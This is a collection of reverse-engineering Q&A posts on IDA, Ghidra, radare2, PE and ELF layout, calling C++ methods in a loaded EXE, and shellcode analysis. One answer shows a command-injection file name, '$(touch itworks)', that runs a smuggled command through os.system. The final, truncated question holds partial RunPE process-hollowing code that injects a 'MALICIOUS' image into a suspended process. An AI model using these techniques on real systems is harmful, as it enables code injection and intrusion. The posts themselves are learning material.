        "Body": "<p>I have an executable (.exe) containing some classes and functions definition and plan on using those functions from within a DLL, although I know to call a regular C style function using calling convention such as __stdcall e.g.</p>\n<pre><code>typedef int(*__stdcall CalleeType)(...);\n\nint Caller(...)\n{\n    CalleeType pCallee = nullptr;\n    pCallee = reintepret_cast&lt;CalleeType&gt;(BaseAddress + RVA);\n    return pCallee(); //calls the function as expected from within the dll\n}\n</code></pre>\n<p>Now my problem starts when I am trying to call functions in which <code>ecx</code> register is set before the call mostly a method used by _cdecl calling convention in c++. And if this <code>ecx</code> register is not set before the call of the function the application crashes.</p>\n<p>I found a solution <a href=\"http://sandsprite.com/CodeStuff/Using_an_exe_as_a_dll.html\" rel=\"nofollow noreferrer\">here</a> to load a using <code>Loadlibrary</code>, it is for me to patch the entry point and set it to return 1, and other stuff that needs to be done before the EXE can become usable as a DLL although this method is a hack but it does show promising results in helping me load this program into memory and call those functions as expected. Although I am confused as to how I can be able to make use of those functions passing <code>ecx</code> since those are c++ style function calls.</p>\n<p>My Questions are</p>\n<ol>\n<li>How do I make this program to execute after loading it using loadlibrary, so that the program can be able to initialize itself properly and can now be able to use properly?</li>\n<li>How do I make use of a function requiring that <code>ecx</code> register is set to the <code>this</code> pointer?</li>\n</ol>\n<p>Any ideas or hint will be very useful to me thanks</p>\n",
        "Title": "how to use class member function defined in a exe within a dll",
        "Tags": "|windows|assembly|c++|c|",
        "Answer": "<p><a href=\"https://reverseengineering.stackexchange.com/a/26024/182\">josh's answer</a> is a good one, but one thing to note is that there is an alternative scheme that (usually) does not require inline assembly, and which handles the virtual functions case also. This is how I prefer to interact with C++ programs when I'm doing DLL injection/code reuse like your question is asking.</p>\n<p>Begin by defining <em>something</em> for the class whose methods you want to call. If you know the full class declaration, recreate it in your calling program. If you know less than that -- say, you only know the size of the class -- you can do something like:</p>\n<pre><code>class MyClass {\n  public:\n  char mData[0x80]; // sizeof(MyClass) = 0x80\n};\n</code></pre>\n<p>(If you don't know the size of the class, pick a large number in place of <code>0x80</code> and hope for the best. If the program crashes, pick a larger number and try again. Really though, try to figure out the size of the class, at minimum.)</p>\n<p>Now, we can use <strong>member function pointers</strong> to force the compiler to set <code>ecx</code> (the <code>this</code>) pointer for us during the function pointer call. Namely:</p>\n<pre><code>typedef void (MyClass::*FuncToCall)(int arg1, void *arg2);\n</code></pre>\n<p>Similarly to josh's answer, now we want to cast the raw address of the member function in the DLL to a member function pointer of that type, and then call it:</p>\n<pre><code>#define FUNC_OFFSET 0x4320\nFuncToCall f = (FuncToCall)((byte*)pDLL + FUNC_OFFSET);\nMyClass *m = new MyClass();\nm-&gt;*f(123, NULL); // member function pointer invocation syntax\n</code></pre>\n<p><strong>EDITED TO NOTE</strong>: in my original answer, I'd forgotten to note that C++ is not as liberal about accepting casts of arbitrary types to member function pointers as C is about casting to ordinary function pointers. That is to say, the code in the below won't work directly; you'll need to basically twist the compiler's arm to make it work, but it is doable. <a href=\"https://stackoverflow.com/questions/1307278/casting-between-void-and-a-pointer-to-member-function\">See this StackExchange discussion of the situation</a>. One of the answers proposes using a <code>union</code>, which is what I've typically done. See these two blog entries by Raymond Chen discussing why C++ is less tolerant about casts involving member function pointers (TL;DR multiple inheritance): <a href=\"https://devblogs.microsoft.com/oldnewthing/20040209-00/?p=40713\" rel=\"nofollow noreferrer\">one</a>, <a href=\"https://devblogs.microsoft.com/oldnewthing/20040210-00/?p=40683\" rel=\"nofollow noreferrer\">two</a>. Finally, <a href=\"https://gist.github.com/RolfRolles/7e5103948266202458adfbfaee3265f1\" rel=\"nofollow noreferrer\">here's an example of how I used these techniques in a recent project</a>.</p>\n<p><strong>ORIGINAL TEXT CONTINUES HERE</strong>: You can even wrap this up into a proxy stub function:</p>\n<pre><code>#define FUNC1_OFFSET 0x4320\n\n// Global function pointer(s)\n// Note: these are GLOBAL variables, not class members\nFuncToCall gfp_MemFunc1;\n\n// Relocate all necessary addresses\n// Call this once before calling member function pointers\nvoid Init(byte *pDLL) {\n  gfp_MemFunc1 = (FuncToCall)(pDLL + FUNC1_OFFSET);\n}\n\nclass MyClass {\n  public:\n  char mData[0x80];\n\n  // Make stub functions for members you want to call\n  // Does not affect the layout of the class\n  void MemFunc1Proxy(int arg1, void *arg2) {\n    this-&gt;*gfp_MemFunc1(arg1, arg2);\n  };\n};\n\nint main() {\n  MyClass m();\n  Init(/* address of DLL */);\n\n  // Call member functions easily via stubs\n  m.MemFunc1Proxy(123,NULL);\n}\n</code></pre>\n<p>For virtual functions, there are two cases. In both cases, you'll need to add compatible virtual function delcarations (in the proper order) to the mock class declaration. Something like:</p>\n<pre><code>class MyClass {\n  public:\n  char mData[0x80];\n  virtual void ~MyClass();\n  virtual int VFunc0x4(int);\n};\n</code></pre>\n<p>Now, as for the two different cases. First case: if you're able to call a function in the DLL to obtain an instantiated instance of your object, that's all you need; call a virtual function as follows:</p>\n<pre><code>MyClass *p = fpDLLFuncThatAllocatesMyClass();\nint x = p-&gt;VFunc0x4(1);\n</code></pre>\n<p>If it's not easy or feasible to obtain a memory instance for <code>MyClass</code> from the DLL, you can just install its VTable yourself.</p>\n<pre><code>#define VTABLE_OFFSET 0x5670\nMyClass *m = new MyClass();\nvoid *VTableAddr = (byte*)pDLL + VTABLE_OFFSET;\n// Set the VTable pointer to be the VTable address in the DLL\n*reinterpret_cast&lt;void *&gt;(m) = VTableAddr;\nint x = p-&gt;VFunc0x4(1);\n</code></pre>\n<p>This scheme gives you a bit more flexibility, and does not usually require inline assembly. The exception to this happens when the non-virtual member function that you want to call uses a non-standard calling convention, as happens frequently in MSVC-compiled x86. If the compiler determines that the function will not be accessed outside of the DLL, it's under no obligation to use plain <code>__thiscall</code> as the calling convention, and may use alternative register argument locations. In this situation, you'll have no choice but to use inline assembly language as in josh's answer above.</p>\n"
    },
    {
        "Id": "26012",
        "CreationDate": "2020-09-30T16:48:52.707",
        "Body": "<p>In IDA I need to set a breakpoint that once it hit, I want to check if <code>ZF</code> is equal to 1, if it does, I want to change it to 0.</p>\n<p>I don't know how to do it:<br />\n<a href=\"https://i.stack.imgur.com/0bJI4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0bJI4.png\" alt=\"enter image description here\" /></a></p>\n<p>I searched for example scripts in IDC or IDAPython but I didn't find something that shows it.<br />\nHow can I do it?</p>\n",
        "Title": "How to set conditional breakpoint to modify ZF (Zero flag)",
        "Tags": "|ida|idapython|idc|",
        "Answer": "<p>Since in your case the final value of ZF will be zero, there is no need to check the initial value but simply always zero it:</p>\n<pre><code>ZF=0,0\n</code></pre>\n<p>The <code>,0</code> at the end will ensure that the result of expression is 0 so IDA will continue execution of the program.</p>\n"
    },
    {
        "Id": "26020",
        "CreationDate": "2020-10-01T08:34:14.113",
        "Body": "<p>I have an ELF binary and in the entry function the first two instructions are:</p>\n<pre><code>XOR EBP, EBP\nPOP ESI\n</code></pre>\n<p>I'm curious what the state of the stack is at the start of the entry function in ELF and PE binaries (and others if possible).\nI had thought it was empty but presumably there is something there to be <code>pop</code>ed.</p>\n",
        "Title": "What is the state of the stack in the entry function?",
        "Tags": "|elf|stack|entry-point|",
        "Answer": "<p>The stack layout at the entry point for 32-bit Linux executables is described in the <a href=\"http://www.sco.com/developers/devspecs/abi386-4.pdf\" rel=\"nofollow noreferrer\"><em>System V Intel386 Architecture ABI Supplement</em></a>.</p>\n<p>It looks like following:</p>\n<p><a href=\"https://i.stack.imgur.com/aFoQi.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aFoQi.jpg\" alt=\"initial process stack layout\" /></a></p>\n<p>So <code>pop edi</code> copies the <code>argc</code> value into  <code>edi</code> and the following code probably builds the <code>argv</code> array for the <code>main</code> function.</p>\n"
    },
    {
        "Id": "26027",
        "CreationDate": "2020-10-02T07:08:49.990",
        "Body": "<p>I have found a function with Cheat Engine that I like to show in IDA:<a href=\"https://i.stack.imgur.com/p3UE7.png\" rel=\"nofollow noreferrer\">enter image description here</a></p>\n<p><a href=\"https://i.stack.imgur.com/vdTXW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vdTXW.png\" alt=\"enter image description here\" /></a></p>\n<p>but the function is not present in IDA.</p>\n<p>Probably I have a bit confusion becouse I don't have experience with this tool.</p>\n<p>Can you help me ?</p>\n<p>Thanks !</p>\n<p>UPDATE:</p>\n<p>I have tryed to add image base 400000:</p>\n<p>119EDD + 400000 = 519EDD</p>\n<p>But 519EDD not exist to IDA:</p>\n<p><a href=\"https://i.stack.imgur.com/yCPnz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/yCPnz.png\" alt=\"enter image description here\" /></a></p>\n<p>There is somthing wrrong ?</p>\n",
        "Title": "A bit confusion with cheat engine function address and IDA subrutine",
        "Tags": "|ida|disassembly|cheat-engine|",
        "Answer": "<p>Have you noted the term <code>battlezone2.exe + </code> before the address? That denotes the (usually random) base address of the executable.</p>\n<p>In IDA this base address is a fixed value e.g. <code>0x400000</code>. Scroll to the beginning of the IDA View and check the <code>Imagebase</code> value (hexadecimal). This value you have to add to every address shown in the Cheat engine.</p>\n<p>If debugging a process directly with IDA the database is automatically relocated to the correct address so you don't have to do the math yourself.</p>\n<p>Note: If I interpret the screen shots correctly 0x119EDD (0x519EDD) is the target address of the conditional jump command. Jump commands are used inside a sub, hence you don't leave the current sub and won't find this address in the sub list</p>\n"
    },
    {
        "Id": "26028",
        "CreationDate": "2020-10-02T07:27:17.560",
        "Body": "<p>So, i downloaded the binary. Here are some details before moving forward:</p>\n<p><code>revbinary: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2f0bc3cfa6ec6a297f58ae75f8802bd1b5ef7162, not stripped</code></p>\n<pre><code>        linux-vdso.so.1 (0x00007fffec358000)\n        libmariadb.so.3 =&gt; /lib/x86_64-linux-gnu/libmariadb.so.3 (0x00007f1d76fbe000)\n        libcrypto.so.1.1 =&gt; /lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f1d76cd2000)\n        libzip.so.4 =&gt; /lib/x86_64-linux-gnu/libzip.so.4 (0x00007f1d76cb7000)\n        libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1d76af2000)\n        libpthread.so.0 =&gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1d76ad0000)\n        libz.so.1 =&gt; /lib/x86_64-linux-gnu/libz.so.1 (0x00007f1d76ab3000)\n        libdl.so.2 =&gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f1d76aab000)\n        libgnutls.so.30 =&gt; /lib/x86_64-linux-gnu/libgnutls.so.30 (0x00007f1d768e1000)\n        libbz2.so.1.0 =&gt; /lib/x86_64-linux-gnu/libbz2.so.1.0 (0x00007f1d768ce000)\n        /lib64/ld-linux-x86-64.so.2 (0x00007f1d7703c000)\n        libp11-kit.so.0 =&gt; /lib/x86_64-linux-gnu/libp11-kit.so.0 (0x00007f1d7679a000)\n        libidn2.so.0 =&gt; /lib/x86_64-linux-gnu/libidn2.so.0 (0x00007f1d76779000)\n        libunistring.so.2 =&gt; /lib/x86_64-linux-gnu/libunistring.so.2 (0x00007f1d765f5000)\n        libtasn1.so.6 =&gt; /lib/x86_64-linux-gnu/libtasn1.so.6 (0x00007f1d765df000)\n        libnettle.so.8 =&gt; /lib/x86_64-linux-gnu/libnettle.so.8 (0x00007f1d7659f000)\n        libhogweed.so.6 =&gt; /lib/x86_64-linux-gnu/libhogweed.so.6 (0x00007f1d76556000)\n        libgmp.so.10 =&gt; /lib/x86_64-linux-gnu/libgmp.so.10 (0x00007f1d764d3000)\n        libffi.so.7 =&gt; /lib/x86_64-linux-gnu/libffi.so.7 (0x00007f1d764c7000)\n</code></pre>\n<p>So, as you can see it depends upon <code>libcrypto.so</code> which is i think openssl library. Now debugging a a function called from main, named <code>process_data</code> has this code as ghidra gave with some modification: <a href=\"https://cdn.discordapp.com/attachments/716265091489595473/761480880060366848/mysql_zip.c\" rel=\"nofollow noreferrer\">process_data_code</a></p>\n<p>Now, i know upto md5 part that it get data from message table and stores a row....... So, i came to md5sum part, its passing the variables to md5sum but i dont know what are the functions of md5sum parameters. If it were libc functions like snprintf or fputs i could see manpage or try googling but it didnt give me nice results. This stackoverflow answer</p>\n<p><a href=\"https://i.stack.imgur.com/uKydD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uKydD.png\" alt=\"Stackoverflow\" /></a> says the first parameter is password, second is length of password\nand third is some weird shit. So, if you see the code you will get md5sum has 4 parameters</p>\n<p><code>md5sum(random_mysql_rows_bufarray,mysql_rows_buffer_length &amp; 0xffffffff, filename_ofvarlocal, mysql_rows_buffer_length &amp; 0xffffffff);</code></p>\n<p>Also, that answer says md5sum having 4 parameter isnt openssl md5. I just want to figure out what is the function of those 4 parameters in md5sum. Also if you could explain what is the weird <code>&amp; 0xfffffff</code> thing then it would be great! Here's the binary : <a href=\"https://cdn.discordapp.com/attachments/716265091489595473/761489241875808266/revbinary\" rel=\"nofollow noreferrer\">reverse binary</a></p>\n<p>Yeah, md5sum takes 4 parameter, got it.</p>\n",
        "Title": "How do i identify parameters function of md5sum of specific binary?",
        "Tags": "|decompilation|elf|ghidra|binary|openssl|",
        "Answer": "<p>the file command says the binary is unstripped you shouldn't have much problem identifying the arguments</p>\n<p>the &amp;0xffffffff is a mask to get a 32 bit value from a 64 bit value</p>\n<p>for example if a function is proto typed as <code>ulong64 foo(ulong64 a, ulong b);</code></p>\n<p>as x64 calling convention uses 6 registers in linux system ABI  <a href=\"https://stackoverflow.com/questions/17437191/function-parameters-transferred-in-registers-on-64bit-os\">RDI, RSI, RDX, RCX, R8, and R9</a>  you cannot simply pass rsi without zeroing the upper 32 bits</p>\n<p>the &amp; 0xffffffff zeros the upper 32 bits of 64 bit register</p>\n<pre><code>&gt;&gt;&gt; a = 0x123456789abcdef0\n&gt;&gt;&gt; b = a &amp; 0xffffffff\n&gt;&gt;&gt; print(&quot;val32=%016x\\nval64=%016x\\n&quot; % (b,a))\nval32=000000009abcdef0\nval64=123456789abcdef0 \n</code></pre>\n<p>if the line you pasted is from ghidra then ghidra might be mistaking the use of a register you can over ride the function signature</p>\n"
    },
    {
        "Id": "26036",
        "CreationDate": "2020-10-03T15:41:35.650",
        "Body": "<p>Firstly Hello,</p>\n<p>this is my first post on this forum even though im reading alot here.</p>\n<p>Im trying to get into reversing and Low-Level stuff in general lately, and im a bit stuck right here.</p>\n<p>I did read alot about the PE-File Format and how virtual memory and loading exes into the memory works. Right now im just reversing/debugging a simple HelloWorld written in C++ to understand whats going on.</p>\n<p>Im just looking at it with radare2 and dont really understand what radare does when it opens a file.\nI thought its like a hexeditor with additional functionality like disassembly and detecting functions and more. But when im going to address 0x0 in radare2 it doesnt match 0x0 when i look at the file in my hexeditor. More precicly radare2 does seem to set everything apart from a certain area around entry0 to be 0xff.</p>\n<p>So my guess is that radare2 is trying to show how the file would look like if its loaded in memory with resolved tables for imported functions and stuff.</p>\n<p>The thing is im not really sure what im supposed to google to verify this. Thats why im asking here.</p>\n<p>If someone could give me a little bit of insight on what is going on there would make my day. ;)</p>\n<p>Thanks in advance.</p>\n",
        "Title": "How does radare2 create its memory layout?",
        "Tags": "|radare2|memory|",
        "Answer": "<p>Windows Pe File in disk is aligned to 0x200 bytes normally<br />\nThe Same File when Loaded in memory is aligned  to 0x1000 normally</p>\n<pre><code>C:\\&gt;radare2 -q -c &quot;iH~Al&quot; c:\\Windows\\System32\\calc.exe\n  SectionAlignment : 0x1000\n  FileAlignment : 0x200\n</code></pre>\n<p>Windows Pe File is split into sections and Each Section File Address and  Load Address is given in PE Header</p>\n<pre><code>C:\\&gt;radare2 -q -c &quot;iS&quot; c:\\Windows\\System32\\calc.exe\n[Sections]\nNm Paddr       Size Vaddr      Memsz Perms Name\n00 0x00000400 339456 0x01001000 339968 -r-x .text\n01 0x00053200 16896 0x01054000 20480 -rw- .data\n02 0x00057400 403456 0x01059000 405504 -r-- .rsrc\n03 0x000b9c00 15360 0x010bc000 16384 -r-- .reloc\n</code></pre>\n<p>By Default the pe header is loaded at Imagebase</p>\n<pre><code>C:\\&gt;radare2 -q -c &quot;iH~ImageBase&quot; c:\\Windows\\System32\\calc.exe\n  ImageBase : 0x1000000\n</code></pre>\n<p>given these Data You Can Deduce the mapping</p>\n<p>so the bytes You See at 0x400 (first Section File Address ) in a physical file can be seen at ImageBase+Vaddr of a Loaded Module (0x1000000+0x1000)</p>\n<p>lets check some random address mapping</p>\n<pre><code>C:\\&gt;radare2 -q -c &quot;s 0x1065ef0;px 10;iS.&quot; c:\\Windows\\System32\\calc.exe\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x01065ef0  0000 1562 4f49 4949 4b46                 ...bOIIIKF\nCurrent section\nNm Paddr       Size Vaddr      Memsz Perms Checksum          Name\n00 0x00057400 403456 0x01059000 405504 -r-- .rsrc\n</code></pre>\n<p>so to check we need to see if this offset in file contains same data</p>\n<pre><code>&gt; 0x1065ef0-0x1059000+0x57400\nans = 0x000642F0\n\n\nE:\\&gt;git\\usr\\bin\\xxd.exe -s 0x642f0 -l 10 c:\\Windows\\System32\\calc.exe\n000642f0: 0000 1562 4f49 4949 4b46                 ...bOIIIKF\n</code></pre>\n<p>matches</p>\n"
    },
    {
        "Id": "26040",
        "CreationDate": "2020-10-03T22:34:33.120",
        "Body": "<p>I have a WiFi webcam that I'm trying to get to stream to my computer. I'm able to get the camera to send data to my computer, but I don't know how to decode it. The data consists of 11 1450 byte packets, followed by 1 packet with a variable size, typically about 800 bytes. This pattern repeats about 20 times per second. If I can figure out how to take those packets and turn them into a common media stream that I can open with VLC or the like, I'll be in good shape.</p>\n<p>I decompiled the manufacturer's app, DM WiFi. I've been looking through it, and so far the only concrete information I've found is that H.264 is being used, according to in com.joyhonest.wifination.VideoMediaCoder (joyhonest is a manufacturer of WiFi camera modules). I still don't know where the program is reading in the WiFi data, or how it processes it before it becomes the standard H.264 stream (e.g. stripping headers). At this point, I'm hampered by my lack of Java/Android knowledge. For instance, I can find a prototype for the function naWriteport20000, presumably sending data to the camera, whose UDP port 20000 is open. But I can't find a more substantial definition for the function that might help point me towards how data is received. As someone who hasn't written Java in 5 years and who has never touched Android app development, how should I approach dissecting this program?</p>\n",
        "Title": "Understanding how a WiFi camera app goes from packet data to video stream",
        "Tags": "|decompilation|android|",
        "Answer": "<p><a href=\"https://www.chzsoft.de/site/hardware/reverse-engineering-a-wifi-microscope/\" rel=\"nofollow noreferrer\">This person</a> has a microscope with apparently an identical WiFi camera module and detailed his reverse engineering efforts. It turns out the first 1450 byte packet has a short header followed by the bytes to begin a jpeg image, and the end of variable-length packet ends the jpeg image. Concatenating all the packets and stripping the header gives the data for a jpeg.</p>\n"
    },
    {
        "Id": "26046",
        "CreationDate": "2020-10-04T17:29:23.020",
        "Body": "<p>I was told that <code>segment:offset</code> pairs were used to represent 20 bits. The segment is 4 bit shifted, and the value plus the offset becomes the physical address. I don't have to worry anymore at 32-bit system, but I'm still curious.</p>\n<ol>\n<li>Why were offsets allocated 16 bits, not 4 bits?</li>\n<li>Is there no problem with many virtual addresses correspond to one physical address?</li>\n</ol>\n",
        "Title": "Why is the offset 16 bits?",
        "Tags": "|assembly|register|",
        "Answer": "<p>You are referring to the early 80s of the last century. The 8086 architecture used  this way of addressing 20-bit physical memory, the then tremendous amount of 1 (One!) MByte, or &quot;one million bytes of memory&quot;, as Intel calls it in /1/, p.2-7.</p>\n<p>These &quot;logical addresses&quot;, as Intel called them in /1/, served primarily two purposes:</p>\n<ol>\n<li>One idea behind this segment:offset scheme was to have segments of each 64kB in size which could be used anywhere (at 16Byte boundaries) in the available 20-Bit address space (8086), making these segments independent of the physical address. Intel writes in /1/, p2-8:</li>\n</ol>\n<p>&quot;Segmentation makes it easy to build relocatable and reentrant programs. ... (relocation means having the ability to run the same program in several different areas of memory without changing the adresses in the program itself)...&quot;</p>\n<ol start=\"2\">\n<li>Another idea was to separate logical different parts of the memory in different segemts. The main identified memory regions were: Code, Data. Stack and Extra (the latter e.g. used as destination for data transfers). As a consequence the segment registers were named accordingly  as CS, DS, SS and ES. These names survived until today (in the 32-bit world). Later FS and GS segment registers were added, used for specific regions for the Operating System.</li>\n</ol>\n<p>Thus, to answer your first question, offsets of four instead of 16 bits could not have been used to build the segments of 64kB each, intended to be relocated if necessary. 64kB segment size are a &quot;natural&quot; value in a 16-Bit system like the 8086.</p>\n<p>Regarding your second question, there might of course be a problem with overlapping segments if they are not treated carefully, e.g. when code and data overlap. But it was explicitly intended by Intel that segments could overlap in the most possible way, by giving them all the same value, allowing this segmented architecture be used in systems with only 64kByte of memory.</p>\n<p>According to Intel (/1/, p.2-8):\n&quot;In a system where the total amount of memory is 64K bytes or less, it is possible to set all segment registers equal and have fully overlapping segments.&quot;</p>\n<p>/1/: iAPX 86, 88, 168 and 188 User's Manual, Programmers Reference, Intel 1983</p>\n"
    },
    {
        "Id": "26047",
        "CreationDate": "2020-10-04T18:13:07.977",
        "Body": "<p>I'm trying to follow along with this tutorial which is using IDA in it's example. <a href=\"https://0ffset.net/reverse-engineering/malware-analysis/common-shellcode-techniques/\" rel=\"nofollow noreferrer\">https://0ffset.net/reverse-engineering/malware-analysis/common-shellcode-techniques/</a></p>\n<p>Hash: 9d7e34250477acf632c6c32fc2c50d3b</p>\n<p>In the example, after decryption of the stage 2 this is the result:\n<a href=\"https://i.stack.imgur.com/F4vYU.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/F4vYU.png\" alt=\"enter image description here\" /></a>\n<a href=\"https://i.stack.imgur.com/1NqDr.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1NqDr.png\" alt=\"enter image description here\" /></a></p>\n<p>When I repeat the same steps with Ghidra I get the following result:\n<a href=\"https://i.stack.imgur.com/7YEFh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7YEFh.png\" alt=\"enter image description here\" /></a>\n<a href=\"https://i.stack.imgur.com/Bjyux.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Bjyux.png\" alt=\"enter image description here\" /></a></p>\n<p>I've been following the assembly trying to see if I could figure out what when wrong or what is going on with no results yet.</p>\n<p>While searching, I came across these references:\n<a href=\"https://c9x.me/x86/html/file_module_x86_id_139.html\" rel=\"nofollow noreferrer\">https://c9x.me/x86/html/file_module_x86_id_139.html</a>\n<a href=\"https://en.wikipedia.org/wiki/HLT_(x86_instruction)\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/HLT_(x86_instruction)</a></p>\n<p>It would be appreciated if someone could point me in the right direction.</p>\n<p>EDIT:\nAfter Pawe\u0142 \u0141ukasik pointed out my error, it works:\n<a href=\"https://i.stack.imgur.com/kaieR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kaieR.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "Statically Reverse Engineering Shellcode - IDA to Ghidra",
        "Tags": "|ida|disassembly|binary-analysis|ghidra|shellcode|",
        "Answer": "<p>Starting from address <code>0x56</code> all your instructions seems to be off. And if you look closely it there is a pattern how much off they are from the original.</p>\n<p>For example, at offset <code>0x58</code>, there's supposed to be <code>push edx</code> so the byte should be <code>0x52</code>, but you have <code>push esp</code> which is <code>0x54</code>. Since the article mentions that this part is encrypted with a xor (with a single digit key), let's see how those values are off</p>\n<pre><code>In [7]: 0x52 ^ 0x54\nOut[7]: 6\n</code></pre>\n<p>So this is exactly the key mentioned in the article. If we compare the rest of those off instruction we will notice that they are off by the same value.</p>\n<p>Conclusion - this part of code shown in Ghidra was not decrypted and should be preprocessed before analysis.</p>\n"
    },
    {
        "Id": "26057",
        "CreationDate": "2020-10-05T08:53:58.050",
        "Body": "<p>I am using remote debugging with IDA. The target and host machine are Windows.<br />\nI can run the process on the remote machine and debug it with IDA using remote debugging but I need that the process will run with high privileges.<br />\nIn IDA I only have the option start the process (<code>F9</code> or the green play button) but it doesn't run it with high privileges.</p>\n<p>How can I do it?</p>\n<p>I searched also in the options of the debugger and didn't see such option.</p>\n",
        "Title": "How to run a process with high privileges using remote debugging",
        "Tags": "|ida|debugging|remote|",
        "Answer": "<p>Run the debug server as admin, this should be enough.</p>\n"
    },
    {
        "Id": "26058",
        "CreationDate": "2020-10-05T10:50:06.270",
        "Body": "<p>Is there a way to access the call string of a CALLOTHER Pcode instruction when iterating over the Pcode in Java? The listing below shows an example of what I mean:</p>\n<pre><code>048\n                             LAB_0001b034                                    XREF[1]:     0001b024(j)  \n        0001b034 36 7f ff e6     rbit       r7,r6\n                                                      r7 = CALLOTHER &quot;ReverseBitOrder&quot;, r6\n\n</code></pre>\n<p>In this example, I'd like to get the string &quot;ReverseBitOrder&quot;. <br/>\nUnfortunately, there is no hint in the instruction info except for this input object:</p>\n<pre><code>const:0x3c\n</code></pre>\n<p>Which does not translate into the given string and I also cannot click on the string to find a location in memory.\nI also looked through the API docs of Pcode, Instruction etc., but did not find anything useful.</p>\n",
        "Title": "Accessing Call String of CALLOTHER Pcode Instruction via Java API?",
        "Tags": "|ghidra|java|api|call|",
        "Answer": "<p>There is a ghidra_script that current does this, see <a href=\"https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/ghidra_scripts/MarkCallOtherPcode.java\" rel=\"nofollow noreferrer\">https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/ghidra_scripts/MarkCallOtherPcode.java</a></p>\n<p>basically:</p>\n<pre><code>op = getInstructionAt(toAddr(0x1b034)).getPcode()[0]\ncurrentProgram.getLanguage().getUserDefinedOpName(op.getInput(0).getOffset()))\n</code></pre>\n"
    },
    {
        "Id": "26061",
        "CreationDate": "2020-10-05T14:09:34.620",
        "Body": "<p>My question is theoretical, and not bound to python - but for the sake of simplicity, I'll use Python code snippet.</p>\n<p>Let's assume I have the following code:</p>\n<pre><code>import os\nimport sys\n\nif os.path.exist(sys.argv[1]):\n    os.system(f&quot;echo {sys.argv[1]}&quot;)\n</code></pre>\n<p>Is there a way to do a command injection attack in the scenario when the unsanitized input is a path to a valid file?</p>\n",
        "Title": "Is command injection using a valid file path possible?",
        "Tags": "|python|injection|command-line|",
        "Answer": "<p>On GNU/Linux, <code>system</code> passes any arguments to <code>/bin/sh -c &quot;&lt;command&gt;&quot;</code>. Any shell metacharacters  (e.g. <code>&amp;</code>, <code>|</code>, <code>`</code>, <code>$</code>, <code>;</code> etc.) in the command will be interpreted. So,  commands can be run using <code>`command`</code> or <code>$(command)</code> to use a subshell, or with other logic.</p>\n<p>If a file has those characters, commands could be run:</p>\n<pre><code>$ ls itworks\n$ touch '$(touch itworks)'\n$ ./myscript.py '$(touch itworks)'\n$ ls itworks\nitworks\n</code></pre>\n<p>Since the file exists, it will be passed to <code>system</code>, and any nested commands executed. You may be limited in what commands and arguments can be passed, since <code>/</code> cannot be used in the filename.</p>\n"
    },
    {
        "Id": "26078",
        "CreationDate": "2020-10-07T06:55:55.917",
        "Body": "<p>I'm trying to use RunPE technique (For learning).</p>\n<p>First, I tried it on Windows XP(32-bit) and no error occurs but, the injected code for(HelloWorld) didn't run.</p>\n<p>Then, I tried to use it on Windows 7 and 10 (64-bit) and get this error[0xc00000005] when the thread resumed.\nWhy I get this error and why the injected code didn't run on the XP machine?</p>\n<p>I tried also to unmap the imagebase(0x00400000) but I had the same problem.</p>\n<p>my code:</p>\n<pre><code>int runPe(void* image) {\n\nIMAGE_DOS_HEADER* dosHeader;\nIMAGE_NT_HEADERS* ntHeader;\nIMAGE_SECTION_HEADER* sectionHeader;\nCONTEXT* ctx;\n\nPROCESS_INFORMATION pinfo;\nSTARTUPINFO sinfo;\n\n\nint i;\nDWORD* ImageBase = NULL;\nvoid* pImage = NULL;\nchar currentpath[1024];\n\nGetModuleFileNameA(0, currentpath, 1024);       //path to the current exe\n\n//Identifying the MALICIOUS IMAGE HEADERS\ndosHeader = (PIMAGE_DOS_HEADER)(image);\nntHeader = (PIMAGE_NT_HEADERS)((DWORD)image + dosHeader-&gt;e_lfanew);\n\n//Checks if this is a PE FILE\nif (ntHeader-&gt;Signature == IMAGE_NT_SIGNATURE) {\n\n    ZeroMemory(&amp;pinfo, sizeof(pinfo));\n    ZeroMemory(&amp;sinfo, sizeof(sinfo));\n\n    if (CreateProcessA(currentpath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &amp;sinfo, &amp;pinfo)) {\n        printf(&quot;[*] Suspended process is created\\n&quot;);\n        Sleep(600);\n\n        //Allocate memory for the context of suspended process\n        ctx = (LPCONTEXT)(VirtualAlloc(NULL, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));\n        if (ctx) {\n            ctx-&gt;ContextFlags = CONTEXT_FULL;\n            printf(&quot;[*] Context is allocated successfully\\n&quot;);\n            Sleep(600);\n            \n            //Get the thread context\n            if (GetThreadContext(pinfo.hThread, (LPCONTEXT)ctx)) {\n                printf(&quot;[*] Allocating MALICIOUS image headers into the suspended process\\n&quot;);\n                Sleep(600);\n\n                ReadProcessMemory(pinfo.hProcess,(LPCVOID)(ctx-&gt;Ebx + 8), (LPVOID)(&amp;ImageBase), 4, 0);\n\n                pImage = VirtualAllocEx(pinfo.hProcess, NULL,\n                    ntHeader-&gt;OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n\n                if (pImage) {\n                    printf(&quot;[*] Allocating memory for MALICIOUS image headers into the IMAGE_BASE\\n&quot;);\n                    